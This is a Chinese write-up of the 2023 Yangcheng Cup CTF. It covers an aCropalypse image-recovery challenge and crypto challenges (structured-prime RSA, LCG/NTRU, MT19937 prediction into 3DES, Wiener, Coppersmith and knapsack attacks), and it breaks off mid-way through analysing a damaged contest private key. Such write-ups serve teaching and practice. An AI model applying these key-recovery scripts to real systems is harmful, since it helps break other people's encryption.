2023年羊城杯网络安全大赛

竞赛时间

2023-09-02 09:00:00~2023-09-03 09:00:00

竞赛简介

目前我国网民规模已突破9亿,成为名副其实的网络大国,但我国与网络强国相比还有一定距离。习近平总书记指出:要建立高素质网络安全和信息化人才队伍,将我国建设成网络强国。建设网络强国需要高素质的网络安全和信息化人才队伍。网络安全人才是国家网络安全建设的核心资源,其数量、质量和结构是衡量国家网络安全软实力和竞争力的重要标志。 为积极响应国家网络强国建设对网络安全人才的需求,提升人民的网络安全知识水平和实践力,特举办2023年“羊城杯”网络安全大赛。


MISC

EZ_misc

一道简单的misc捏..

16进制查看,末尾修改 504b0403504b0304 后提取出zip文件,得到一串密文 vzbtrvplnnvphsqkxsiqibroou

根据图片名Grons和压缩包内文件名feld,组合得到Gronsfeld为一种密码,爆破密钥得到提示:try to think the s nipping tools,为Win10/11截图工具漏洞aCropalypse(CVE-2023-28303)。

利用Acropalypse Multi Tool工具修复png宽高,还原得到flag:

image-20230903014924226

CRYPTO

Danger_RSA

看似简单的rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import *

m = bytes_to_long(flag)

def get_key(a, nbit):
assert a >= 2
while True:
X = getRandomInteger(nbit // a)
s = getRandomRange(pow(2, a ** 2 - a + 4), pow(2, a ** 2 - a + 5))
p = X ** a + s
if isPrime(p):
return (p, s)

p, s = get_key(a, 1024)
q, t = get_key(a, 1024)

N = p * q
e = s * t
c = pow(m, e, N)
print("N =", N)
print("e =", e)
print("c =", c)
# N = 20289788565671012003324307131062103060859990244423187333725116068731043744218295859587498278382150779775620675092152011336913225797849717782573829179765649320271927359983554162082141908877255319715400550981462988869084618816967398571437725114356308935833701495015311197958172878812521403732038749414005661189594761246154666465178024563227666440066723650451362032162000998737626370987794816660694178305939474922064726534186386488052827919792122844587807300048430756990391177266977583227470089929347969731703368720788359127837289988944365786283419724178187242169399457608505627145016468888402441344333481249304670223
# e = 11079917583
# c = 13354219204055754230025847310134936965811370208880054443449019813095522768684299807719787421318648141224402269593016895821181312342830493800652737679627324687428327297369122017160142465940412477792023917546122283870042482432790385644640286392037986185997262289003477817675380787176650410819568815448960281666117602590863047680652856789877783422272330706693947399620261349458556870056095723068536573904350085124198592111773470010262148170379730937529246069218004969402885134027857991552224816835834207152308645148250837667184968030600819179396545349582556181916861808402629154688779221034610013350165801919342549766

$N$ 为2038位,$p,q$ 至少为1024位,且生成函数 get_key() 的 $p=X^a+s$ 有 $X^a \gt\gt s$,且 $e$ 为34位,$s<e$,故 $a$ 值不会太大,尝试爆破 $a$ 值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import *

N = 20289788565671012003324307131062103060859990244423187333725116068731043744218295859587498278382150779775620675092152011336913225797849717782573829179765649320271927359983554162082141908877255319715400550981462988869084618816967398571437725114356308935833701495015311197958172878812521403732038749414005661189594761246154666465178024563227666440066723650451362032162000998737626370987794816660694178305939474922064726534186386488052827919792122844587807300048430756990391177266977583227470089929347969731703368720788359127837289988944365786283419724178187242169399457608505627145016468888402441344333481249304670223
e = 11079917583
c = 13354219204055754230025847310134936965811370208880054443449019813095522768684299807719787421318648141224402269593016895821181312342830493800652737679627324687428327297369122017160142465940412477792023917546122283870042482432790385644640286392037986185997262289003477817675380787176650410819568815448960281666117602590863047680652856789877783422272330706693947399620261349458556870056095723068536573904350085124198592111773470010262148170379730937529246069218004969402885134027857991552224816835834207152308645148250837667184968030600819179396545349582556181916861808402629154688779221034610013350165801919342549766

def get_key(a, nbit):
assert a >= 2
while True:
X = getRandomInteger(nbit // a)
s = pow(2, a ** 2 - a + 5) # 取可能的最大值
p = X ** a + s
if isPrime(p):
return (p, s)

for a in range(2,20):
p, s = get_key(a,1024)
if s.bit_length() < 34: # s < e
print(a, p.bit_length(), s.bit_length())

# 2 1021 8
# 3 1012 12
# 4 1020 18

$a=4$ 时满足 $e=s \cdot t$ 的位数条件,有 $s \in [2^{a^2-a+4},2^{a^2-a+5})=[65536,131072)$。

分解 $e$,尝试其各因子,求 $s,t$:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
a = 4
# s ~ (65536,131072)

# e = 3 · 7^2 · 19 · 691 · 5741
ed = [1, 3, 7, 19, 21, 49, 57, 133, 147, 399, 691, 931, 2073, 2793, 4837, 5741, 13129, 14511, 17223, 33859, 39387, 40187, 91903, 101577, 109079, 120561, 275709, 281309, 327237, 643321, 763553, 843927, 1929963, 2290659, 3967031, 5344871, 11901093, 16034613, 27769217, 75373589, 83307651, 194384519, 226120767, 527615123, 583153557, 1582845369, 3693305861, 11079917583]

for k in ed:
if k in range(65536,131072):
s = k
t = e // s
if t in range(65536,131072) and t > s:
print((s,t))

# (91903, 120561)
# (101577, 109079)

带入有 $p=X_1^4+s,q=X_2^4+t$,又 $X_1^4 \gt\gt s,X_2^4 \gt\gt t$,有 $(X_1X_2)^4 \approx N$,即 $X_1X_2= \lfloor\sqrt[4]{N}\rfloor$。结合 $N=pq=(X_1^4+s)(X_2^4+t)$,解 $X_1,X_2$:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import gmpy2
st = [(91903, 120561), (101577, 109079)]

N = 20289788565671012003324307131062103060859990244423187333725116068731043744218295859587498278382150779775620675092152011336913225797849717782573829179765649320271927359983554162082141908877255319715400550981462988869084618816967398571437725114356308935833701495015311197958172878812521403732038749414005661189594761246154666465178024563227666440066723650451362032162000998737626370987794816660694178305939474922064726534186386488052827919792122844587807300048430756990391177266977583227470089929347969731703368720788359127837289988944365786283419724178187242169399457608505627145016468888402441344333481249304670223
e = 11079917583
c = 13354219204055754230025847310134936965811370208880054443449019813095522768684299807719787421318648141224402269593016895821181312342830493800652737679627324687428327297369122017160142465940412477792023917546122283870042482432790385644640286392037986185997262289003477817675380787176650410819568815448960281666117602590863047680652856789877783422272330706693947399620261349458556870056095723068536573904350085124198592111773470010262148170379730937529246069218004969402885134027857991552224816835834207152308645148250837667184968030600819179396545349582556181916861808402629154688779221034610013350165801919342549766
s = int(st[0][0]) # 另一组无解
t = int(st[0][1])
y = int(gmpy2.iroot(N,4)[0])

P.<x1,x2> = PolynomialRing(ZZ)
f1 = (x1^4+s)*(x2^4+t)-N
f2 = x1*x2-y
g = f1.resultant(f2, x2)
X2 = g.univariate_polynomial().roots()[0][0]
X1 = y//X2
print((X1,X2))

p = X1^4+s
q = X2^4+t
if not is_prime(p):
p = X2^4+s
q = X1^4+t
print(is_prime(p))
print(is_prime(q))

# AMM
for mp in GF(p)(c).nth_root(e, all=True):
for mq in GF(q)(c).nth_root(e, all=True):
m = crt([ZZ(mp), ZZ(mq)], [p, q])
try:
res = bytes.fromhex(hex(m)[2:])
if res.isascii():
print(res)
except:
pass

# b'DASCTF{C0nsTruct!n9_Techn1qUe2_f0r_RSA_Pr1me_EnC2ypt10N}'

Easy_3L

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from gmpy2 import *
from Crypto.Util.number import *
from secret import flag

m = bytes_to_long(flag)


def get_key():
p = getPrime(1400)
f = getRandomNBitInteger(1024)
while True:
q = getPrime(512)
if gcd(f, q) != 1:
continue
else:
break
h = (invert(f, p) * q) % p
return p, h


def encrypt1(m):
a = getPrime(250)
b = getRandomNBitInteger(240)
n = getPrime(512)
seed = m
s = [0] * 6
s[0] = seed
for i in range(1, 6):
s[i] = (s[i - 1] * a + b) % n
return s


def encrypt2(msg, p, h):
s = getRandomNBitInteger(512)
c = (s * h + msg) % p
return c


s = encrypt1(m)
print("S1 =", s[1])
print("S2 =", s[2])
print("S4 =", s[4])
print("S5 =", s[5])

p, h = get_key()
c = encrypt2(s[3], p, h)
print("p =", p)
print("h =", h)
print("c =", c)

# S1 = 28572152986082018877402362001567466234043851789360735202177142484311397443337910028526704343260845684960897697228636991096551426116049875141
# S2 = 1267231041216362976881495706209012999926322160351147349200659893781191687605978675590209327810284956626443266982499935032073788984220619657447889609681888
# S4 = 9739918644806242673966205531575183334306589742344399829232076845951304871478438938119813187502023845332528267974698273405630514228632721928260463654612997
# S5 = 9755668823764800147393276745829186812540710004256163127825800861195296361046987938775181398489372822667854079119037446327498475937494635853074634666112736
# p = 25886434964719448194352673440525701654705794467884891063997131230558866479588298264578120588832128279435501897537203249743883076992668855905005985050222145380285378634993563571078034923112985724204131887907198503097115380966366598622251191576354831935118147880783949022370177789175320661630501595157946150891275992785113199863734714343650596491139321990230671901990010723398037081693145723605154355325074739107535905777351
# h = 2332673914418001018316159191702497430320194762477685969994411366563846498561222483921873160125818295447435796015251682805613716554577537183122368080760105458908517619529332931042168173262127728892648742025494771751133664547888267249802368767396121189473647263861691578834674578112521646941677994097088669110583465311980605508259404858000937372665500663077299603396786862387710064061811000146453852819607311367850587534711
# c = 20329058681057003355767546524327270876901063126285410163862577312957425318547938475645814390088863577141554443432653658287774537679738768993301095388221262144278253212238975358868925761055407920504398004143126310247822585095611305912801250788531962681592054588938446210412897150782558115114462054815460318533279921722893020563472010279486838372516063331845966834180751724227249589463408168677246991839581459878242111459287

encrypt1()encrypt2() 分别是LCG和NTRU。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
h = 2332673914418001018316159191702497430320194762477685969994411366563846498561222483921873160125818295447435796015251682805613716554577537183122368080760105458908517619529332931042168173262127728892648742025494771751133664547888267249802368767396121189473647263861691578834674578112521646941677994097088669110583465311980605508259404858000937372665500663077299603396786862387710064061811000146453852819607311367850587534711
p = 25886434964719448194352673440525701654705794467884891063997131230558866479588298264578120588832128279435501897537203249743883076992668855905005985050222145380285378634993563571078034923112985724204131887907198503097115380966366598622251191576354831935118147880783949022370177789175320661630501595157946150891275992785113199863734714343650596491139321990230671901990010723398037081693145723605154355325074739107535905777351
c = 20329058681057003355767546524327270876901063126285410163862577312957425318547938475645814390088863577141554443432653658287774537679738768993301095388221262144278253212238975358868925761055407920504398004143126310247822585095611305912801250788531962681592054588938446210412897150782558115114462054815460318533279921722893020563472010279486838372516063331845966834180751724227249589463408168677246991839581459878242111459287

v1 = vector(ZZ, [1, h])
v2 = vector(ZZ, [0, p])
m = matrix([v1,v2]);
f, g = m.LLL()[0]
f,g = -f,-g
print(f, g)

a = f*c % p % g
m = a * inverse_mod(f, g) % g

S1 = 28572152986082018877402362001567466234043851789360735202177142484311397443337910028526704343260845684960897697228636991096551426116049875141
S2 = 1267231041216362976881495706209012999926322160351147349200659893781191687605978675590209327810284956626443266982499935032073788984220619657447889609681888
S4 = 9739918644806242673966205531575183334306589742344399829232076845951304871478438938119813187502023845332528267974698273405630514228632721928260463654612997
S5 = 9755668823764800147393276745829186812540710004256163127825800861195296361046987938775181398489372822667854079119037446327498475937494635853074634666112736
s = [S1,S2,m,S4,S5]

from functools import reduce
from math import gcd

def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)

def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m

def crack_unknown_increment(states, modulus, multiplier):
increment = (states[1] - states[0]*multiplier) % modulus
return modulus, multiplier, increment

def crack_unknown_multiplier(states, modulus):
multiplier = (states[2] - states[1]) * modinv(states[1] - states[0], modulus) % modulus
return crack_unknown_increment(states, modulus, multiplier)

def crack_unknown_modulus(states):
diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
modulus = abs(reduce(gcd, zeroes))
return crack_unknown_multiplier(states, modulus)

n, a, b = crack_unknown_modulus(s)
print(n)
print(a)
print(b)
seed = (S1-b)*inverse_mod(a,n)%n
print(bytes.fromhex(hex(seed)[2:]))

# b'DASCTF{NTRU_L0G_a6e_S1mpLe}'

SigninCrypto

随机数真随机吗?如随!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from random import *
from Crypto.Util.number import *
from Crypto.Cipher import DES3
from flag import flag
from key import key
from iv import iv
import os
import hashlib
import secrets

K1= key
hint1 = os.urandom(2) * 8
xor =bytes_to_long(hint1)^bytes_to_long(K1)
print(xor)

def Rand():
rseed = secrets.randbits(1024)
List1 = []
List2 = []
seed(rseed)
for i in range(624):
rand16 = getrandbits(16)
List1.append(rand16)
seed(rseed)
for i in range(312):
rand64 = getrandbits(64)
List2.append(rand64)
with open("task.txt", "w") as file:
for rand16 in List1:
file.write(hex(rand16)+ "\n")
for rand64 in List2:
file.write(hex((rand64 & 0xffff) | ((rand64 >> 32) & 0xffff) << 16) + "\n")
Rand()

K2 = long_to_bytes(getrandbits(64))
K3 = flag[:8]

KEY = K1 + K2 + K3

IV=iv

IV1=IV[:len(IV)//2]
IV2=IV[len(IV)//2:]

digest1 = hashlib.sha512(IV1).digest().hex()
digest2 = hashlib.sha512(IV2).digest().hex()

digest=digest1+digest2
hint2=(bytes_to_long(IV)<<32)^bytes_to_long(os.urandom(8))
print(hex(bytes_to_long((digest.encode()))))
print(hint2)


mode = DES3.MODE_CBC
des3 = DES3.new(KEY, mode, IV)

pad_len = 8 - len(flag) % 8
padding = bytes([pad_len]) * pad_len
flag += padding

cipher = des3.encrypt(flag)

ciphertext=cipher.hex()
print(ciphertext)

# 334648638865560142973669981316964458403
# 0x62343937373634656339396239663236643437363738396663393438316230353665353733303939613830616662663633326463626431643139323130616333363363326631363235313661656632636265396134336361623833636165373964343533666537663934646239396462323666316236396232303539336438336234393737363465633939623966323664343736373839666339343831623035366535373330393961383061666266363332646362643164313932313061633336336332663136323531366165663263626539613433636162383363616537396434353366653766393464623939646232366631623639623230353933643833
# 22078953819177294945130027344
# a6546bd93bced0a8533a5039545a54d1fee647007df106612ba643ffae850e201e711f6e193f15d2124ab23b250bd6e1

3DES加密,key由三部分组成,$K_1$ 根据不同位数异或得到random的两个字节值,$K_2$ 利用MT19937算法计算输出值,$K_3$ 为flag前八位,即 'DASCTF{'+?,共需爆破1个可见字符;8字节iv,由sha512结果知前后4字节相同,由hint2知,iv右移4字节后错位异或,hint2高4位即为4字节iv值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import string
import itertools
from mt19937predictor import MT19937Predictor
from Crypto.Util.number import *
from Crypto.Cipher import DES3
from tqdm import *

s1 = [...]
s2 = [...]

predictor = MT19937Predictor()
for i in range(312):
x = (s1[2*i+1]<<48) | ((s2[i]>>16)<<32) | (s1[2*i]<<16) | (s2[i]&0xffff)
predictor.setrandbits(x, 64)

K2 = long_to_bytes(predictor.getrandbits(64))
print(K2)

import hashlib
d = bytes.fromhex('62343937373634656339396239663236643437363738396663393438316230353665353733303939613830616662663633326463626431643139323130616333363363326631363235313661656632636265396134336361623833636165373964343533666537663934646239396462323666316236396232303539336438336234393737363465633939623966323664343736373839666339343831623035366535373330393961383061666266363332646362643164313932313061633336336332663136323531366165663263626539613433636162383363616537396434353366653766393464623939646232366631623639623230353933643833')
d1 = d[:128]
d2 = d[128:]
print(d1)
print(d2)
print(d1==d2)

xor = 334648638865560142973669981316964458403
hint2 = 22078953819177294945130027344
c = bytes.fromhex('a6546bd93bced0a8533a5039545a54d1fee647007df106612ba643ffae850e201e711f6e193f15d2124ab23b250bd6e1')

hint1 = bytes_to_long(long_to_bytes(xor>>112)*8)
K1 = long_to_bytes(hint1 ^ xor)
print(K1)

iv = hint2>>(8*8)
IV = long_to_bytes(iv)*2
print(IV)

for k3 in trange(128):
K3 = b'DASCTF{'+bytes([k3])
KEY = K1 + K2 + K3
des3 = DES3.new(KEY, DES3.MODE_CBC, IV)
m = des3.decrypt(c)
if m.startswith(b'DASCTF{'):
print(m)

# b'DASCTF{8e5ee461-f4e1-4af2-8632-c9d62f4dc073}'

esyRSA

好像这个RSA有点怪啊!私钥给你了!我的e呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from gmpy2 import invert
from md5 import md5
from secret import p, q

e = ?????
n = p*q
phi = (p-1)*(q-1)
d = invert(e, phi)
ans = gcd(e,phi)

print n, e, d
print "Flag: DASCTF{%s}" %md5(str(p + q)).hexdigest()

"""
n = 8064259277274639864655809758868795854117113170423331934498023294296505063511386001711751916634810056911517464467899780578338013011453082479880809823762824723657495915284790349150975180933698827382368698861967973964030509129133021116919437755292590841218316278732797712538885232908975173746394816520256585937380642592772746398646558097588687958541171131704233319344980232942965050635113860017117519166348100569115174644678997805783380130114530824798808098237628247236574959152847903491509751809336988273823686988619679739640305091291330211169194377552925908412183162787327977125388852329089751737463948165202565859373
d = 14218766449983537783699024084862960813708451888387858392014856544340557703876299258990323621963898510226357248200187173211121827541826897886277531706124228848229095880229718049075745233893843373402201077890407507625110061976931591596708901741146750809962128820611844426759462132623616118530705745098783140913
"""

$n$ 直接给得有问题,重复了一遍,巨坑。

正确的 $n=$80642592772746398646558097588687958541171131704233319344980232942965050635113860017117519166348100569115174644678997805783380130114530824798808098237628247236574959152847903491509751809336988273823686988619679739640305091291330211169194377552925908412183162787327977125388852329089751737463948165202565859373

$n$ 与 $d$ 位数相近,$e$ 很小,Wiener Attack /爆破/求 $e$:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
n = 
d =

def rational_to_contfrac(x,y):
# Converts a rational x/y fraction into a list of partial quotients [a0, ..., an]
a = x // y
pquotients = [a]
while a * y != x:
x, y = y, x - a * y
a = x // y
pquotients.append(a)
return pquotients

def convergents_from_contfrac(frac):
# computes the list of convergents using the list of partial quotients
convs = [];
for i in range(len(frac)): convs.append(contfrac_to_rational(frac[0 : i]))
return convs

def contfrac_to_rational (frac):
# Converts a finite continued fraction [a0, ..., an] to an x/y rational.
if len(frac) == 0: return (0,1)
num = frac[-1]
denom = 1
for _ in range(-2, -len(frac) - 1, -1): num, denom = frac[_] * num + denom, num
return (num, denom)


def egcd(a, b):
if a == 0: return (b, 0, 1)
g, x, y = egcd(b % a, a)
return (g, y - (b // a) * x, x)

def mod_inv(a, m):
g, x, _ = egcd(a, m)
return (x + m) % m

def isqrt(n):
x = n
y = (x + 1) // 2
while y < x:
x = y
y = (x + n // x) // 2
return x

def crack_rsa(e, n):
frac = rational_to_contfrac(e, n)
convergents = convergents_from_contfrac(frac)

for (k, d) in convergents:
if k != 0 and (e * d - 1) % k == 0:
phi = (e * d - 1) // k
s = n - phi + 1
# check if x*x - s*x + n = 0 has integer roots
D = s * s - 4 * n
if D >= 0:
sq = isqrt(D)
if sq * sq == D and (s + sq) % 2 == 0: return d

e = crack_rsa(d, n)
print(e)

# 13521

再已知 $n,e,d$ 求 $p,q$:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import random
import gmpy2
from hashlib import md5

def divide_pq(e, d, n):
k = e*d - 1
while True:
g = random.randint(2, n-1)
t = k
while True:
if t % 2 != 0:
break
t //= 2
x = pow(g, t, n)
if x > 1 and gmpy2.gcd(x-1, n) > 1:
p = gmpy2.gcd(x-1, n)
return (p, n//p)

n = 80642592772746398646558097588687958541171131704233319344980232942965050635113860017117519166348100569115174644678997805783380130114530824798808098237628247236574959152847903491509751809336988273823686988619679739640305091291330211169194377552925908412183162787327977125388852329089751737463948165202565859373
d = 14218766449983537783699024084862960813708451888387858392014856544340557703876299258990323621963898510226357248200187173211121827541826897886277531706124228848229095880229718049075745233893843373402201077890407507625110061976931591596708901741146750809962128820611844426759462132623616118530705745098783140913
e = 13521

p, q = divide_pq(e, d, n)
print("Flag: DASCTF{%s}" %md5(str(p + q).encode()).hexdigest())

# Flag: DASCTF{4ae33bea90f030bfddb7ac4d9222ef8f}

MCeorpkpleer

这数据都不全要怎么计算呢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from Crypto.Util.number import *
from secret import flag


def pubkey(list, m, w):
pubkey_list = []
for i in range(len(e_bin)):
pubkey_list.append(w * list[i] % m)
return pubkey_list


def e_cry(e, pubkey):
pubkey_list = pubkey
encode = 0
for i in range(len(e)):
encode += pubkey_list[i] * int(e[i]) % m
return encode


p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = getPrime(64)
m = bytes_to_long(flag)
c = pow(m, e, n)

e_bin = (bin(e))[2:]
list = [pow(3, i) for i in range(len(e_bin))]
m = getPrime(len(bin(sum(list))) - 1)
w = getPrime(64)
pubkey = pubkey(list, m, w)
en_e = e_cry(e_bin, pubkey)

print('p = {}\n'
'n = {}\n'
'c = {}\n'
'pubkey = {}\n'
'en_e = {}'.format((p >> 435) << 435, n, c, pubkey, en_e))

'''
p = 139540788452365306201344680691061363403552933527922544113532931871057569249632300961012384092481349965600565669315386312075890938848151802133991344036696488204791984307057923179655351110456639347861739783538289295071556484465877192913103980697449775104351723521120185802327587352171892429135110880845830815744
n = 22687275367292715121023165106670108853938361902298846206862771935407158965874027802803638281495587478289987884478175402963651345721058971675312390474130344896656045501040131613951749912121302307319667377206302623735461295814304029815569792081676250351680394603150988291840152045153821466137945680377288968814340125983972875343193067740301088120701811835603840224481300390881804176310419837493233326574694092344562954466888826931087463507145512465506577802975542167456635224555763956520133324723112741833090389521889638959417580386320644108693480886579608925996338215190459826993010122431767343984393826487197759618771
c = 156879727064293983713540449709354153986555741467040286464656817265584766312996642691830194777204718013294370729900795379967954637233360644687807499775502507899321601376211142933572536311131955278039722631021587570212889988642265055045777870448827343999745781892044969377246509539272350727171791700388478710290244365826497917791913803035343900620641430005143841479362493138179077146820182826098057144121231954895739989984846588790277051812053349488382941698352320246217038444944941841831556417341663611407424355426767987304941762716818718024107781873815837487744195004393262412593608463400216124753724777502286239464
pubkey = [18143710780782459577, 54431132342347378731, 163293397027042136193, 489880191081126408579, 1469640573243379225737, 4408921719730137677211, 13226765159190413031633, 39680295477571239094899, 119040886432713717284697, 357122659298141151854091, 1071367977894423455562273, 3214103933683270366686819, 9642311801049811100060457, 28926935403149433300181371, 86780806209448299900544113, 260342418628344899701632339, 781027255885034699104897017, 2343081767655104097314691051, 7029245302965312291944073153, 21087735908895936875832219459, 63263207726687810627496658377, 189789623180063431882489975131, 569368869540190295647469925393, 1708106608620570886942409776179, 601827224419797931380408071500, 1805481673259393794141224214500, 893952418336266652976851386463, 2681857255008799958930554159389, 3523079163584485147344841221130, 1524252287869625983140881149316, 50264262166963219975822190911, 150792786500889659927466572733, 452378359502668979782399718199, 1357135078508006939347199154597, 4071405235524020818041597463791, 3169230503688232995231149877299, 462706308180869526799807117823, 1388118924542608580399421353469, 4164356773627825741198264060407, 3448085117999647764701149667147, 1299270151115113835209806487367, 3897810453345341505629419462101, 2648446157152195057994615872229, 3422845870014670444537026359650, 1223552407160181874717436564876, 3670657221480545624152309694628, 1966986461557807413563286569810, 1378466783231507511243038452393, 4135400349694522533729115357179, 3361215846199738142293703557463, 1038662335715384967987468158315, 3115987007146154903962404474945, 302975818554635252993570910761, 908927455663905758980712732283, 2726782366991717276942138196849, 3657854499533237101379593333510, 1928578295715881845245137486456, 1263242285705730806288591202331, 3789726857117192418865773606993, 2324195368467747797703678306905, 2450093503961328663664213663678, 2827787910442071261545819733997, 3960871129884299055190637944954, 2837628186769067706678271320788]
en_e = 31087054322877663244023458448558
'''

根据已知 $p$ 高位,用coppersmith算法恢复 $p$。

对于 $e$,已知 $s_i = w \cdot 3^i \bmod m$,已知 $3^i$ 和 $s_i$,未知 $w$ 和 $m$。

由 $\begin{cases} s_i = w \cdot 3^i \bmod m \newline s_{i+1} = w \cdot 3^{i+1} \bmod m \end{cases}$,即 $\begin{cases} w \cdot 3^i = s_i+k_1m \newline w \cdot 3^{i+1} = s_{i+1}+k_2m \end{cases}$,

两式相除,得 $(3s_i-s_{i+1})=(3k_1-k_2)m=km$,故求gcd可得 $m$,再按背包密码求解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
ph = 
N =
c =
pk = [...]
ec =

PR.<x> = PolynomialRing(Zmod(N))
f = ph + x
pl = f.small_roots(X=2^435, beta=0.4)[0]
p = int(ph+pl)
q = N//p

m = 0
for i in range(len(pk)-1):
m = gcd(m, 3*pk[i]-pk[i+1])
print(m)

w = pk[0]*inverse_mod(3^0,m)%m
print(w)

ct = ec
n = len(pk)

# Sanity check for application of low density attack
d = n / log(max(pk), 2)
print(CDF(d))
assert CDF(d) < 0.9408

M = Matrix.identity(n) * 2

last_row = [1 for x in pk]
M_last_row = Matrix(ZZ, 1, len(last_row), last_row)

last_col = pk
last_col.append(ct)
M_last_col = Matrix(ZZ, len(last_col), 1, last_col)

M = M.stack(M_last_row)
M = M.augment(M_last_col)

X = M.BKZ()

sol = []
for i in range(n + 1):
testrow = X.row(i).list()[:-1]
if set(testrow).issubset([-1, 1]):
for v in testrow:
if v == 1:
sol.append(0)
elif v == -1:
sol.append(1)
break

s = sol
e = int(''.join([str(k) for k in s]),2)
print(e)
print(e.bit_length())
print(is_prime(e))

f = (p-1)*(q-1)
d = inverse_mod(e,f)
m = pow(c,d,N)
print(bytes.fromhex(hex(m)[2:]))

b'DASCTF{T81I_tPPS_6r7g_xlPi_OO3M_6vyV_Rkba}'

XOR贯穿始终

一切都是有意义的,拿下它吧。

massege.txt 中为社会价值观编码,解码得压缩包密码:C0ngr4tulati0n5_y0u_fou^d_m3,注释:钥匙先别扔掉,万一后面还有用呢

task.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from gmpy2 import gcd
from Crypto.Util.number import getPrime
from secret import enflag

p = getPrime(512)
q = getPrime(512)
n = q * p
phi = (p - 1) * (q - 1)
e = getPrime(17)
assert gcd(e, phi) == 1
# 以上信息生成了私钥文件,但文件被损坏了你能提取有用信息吗

c = pow(enflag, e, n)
print('c = ' + str(c))

'''
c = 91817924748361493215143897386603397612753451291462468066632608541316135642691873237492166541761504834463859351830616117238028454453831120079998631107520871612398404926417683282285787231775479511469825932022611941912754602165499500350038397852503264709127650106856760043956604644700201911063515109074933378818
'''

pri.pem

1
2
3
4
5
6
7
8
9
10
11
12
-----BEGIN PRIVATE KEY-----
MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALmtMy+2uH1ZtbIL
SuiAukFthyQRH5mp7UmLyzZQkdg9zEP9/5tgffikQ7ytx5kHySHnazgAO1sOzmYE
N4Axlev6uafiP8B1Eij97v5VkYJ1I9e3mtBNheTbXKoT8op+ASQ1fQaF4A8UzLuW
eZeZI8JTH/SH+bolAK3kiZXDFdkTAgMBAAECgYEAl067LaC7Cvs2A5cMPhfYsESv
IgcKN1CwW4Sd3u8dSphhgu7TgyzIuvwxbuo2g1BC6WwKhaI6vGN+csfw6nh98GEn
/p3D0huNroAYvf/DRRB9UnHdttX7wB+Mv3P0RBDWHgBiCDVvHFuFUV78cIs0tnbn
jxjU07aPV2XRC3AfA2ECQQDqWUNPVg3i6vTyHCL7EGkbeUheYpAAfcKCQrxjc5+5
X6A+XtgHAA1JHwykPlCpHUOmlA85DJF1ejuoImzlgRLJAkEAytTCnQF+MN2r1gaA
UETZyj5qMYT7Th8zKEVVVJjDawLnuX4usJ2FyRnjCkk86U75QSJhw5mMc0QnG25u
Gz3++w==
-----END PRIVATE KEY-----

按照私钥结构,将私钥base64解码转hex分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
30820277 # 多余部分

0201 # 多余部分
00

300d06092a864886f70d01010105000482 # 多余部分
0261

3082025d # 开始: 长度=0x025d

0201 # 版本:长度=0x01
00

028181 # n:长度=0x81
00b9ad332fb6b87d59b5b20b4ae880ba416d8724111f99a9ed498bcb365091d83dcc43fdff9b607df8a443bcadc79907c921e76b38003b5b0ece660437803195ebfab9a7e23fc0751228fdeefe5591827523d7b79ad04d85e4db5caa13f28a7e0124357d0685e00f14ccbb9679979923c2531ff487f9ba2500ade48995c315d913 # n

0203 # e:长度=0x03
010001 # e

028181 # d:长度=0x81
00974ebb2da0bb0afb3603970c3e17d8b044af22070a3750b05b849ddeef1d4a986182eed3832cc8bafc316eea36835042e96c0a85a23abc637e72c7f0ea787df06127fe9dc3d21b8dae8018bdffc345107d5271ddb6d5fbc01f8cbf73f44410d61e006208356f1c5b85515efc708b34b676e78f18d4d3b68f5765d10b701f0361 # d

0241 # p:长度=0x41
00ea59434f560de2eaf4f21c22fb10691b79485e6290007dc28242bc63739fb95fa03e5ed807000d491f0ca43e50a91d43a6940f390c91757a3ba8226ce58112c9 # p

0241 # q:长度=0x41
